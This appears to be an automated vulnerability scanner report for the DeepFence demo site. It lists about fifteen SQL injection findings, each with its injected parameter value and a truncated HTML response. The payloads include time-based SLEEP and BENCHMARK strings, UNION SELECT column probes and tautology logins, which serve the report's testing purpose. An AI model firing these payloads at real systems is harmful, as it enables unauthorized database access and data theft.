Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1789
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP
)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1790
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1791
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin") or ("1"="1"#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1792
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# HAVING 1=0#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1793
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1794
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' '
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1795
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# and (select substring(@@version,2,1))='y'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1796
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1797Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or SLEEP(5)="
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1798
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1
#UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1799
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or SLEEP(5)='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1800
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1801
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1802
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or '1'='1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1803
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or benchmark(10000000,MD5(1))
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
